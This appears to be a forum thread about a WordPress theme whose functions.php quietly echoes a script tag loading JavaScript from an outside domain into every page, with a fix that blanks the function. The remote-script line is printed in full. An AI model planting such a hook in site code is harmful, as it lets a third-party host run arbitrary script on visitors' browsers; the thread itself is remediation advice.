Are you sure it wasn't an attack on your sites?

Solution

This cropped up on a friends website yesterday and I had to sort it for them.

Apparently the file was always in the functions.php file and was just sitting there until someone decided to make the js do something.

I'm guessing this code is in quite a few wordpress themes as they were using the 'Playmaker' theme.

The solution to this is here on the Wordpress forums.

Replace:

function mt_misc_header() {
	echo '<script src="http://www.bloglinez.com/theme.js" type="text/javascript"></script>';
}

with:

function mt_misc_header() {
	echo '';
}

and that should fix it.

Yes, thats how to fix it.
Yes, it has been sat in the function file waiting to be triggered, so, thankfully i wasnt hacked.
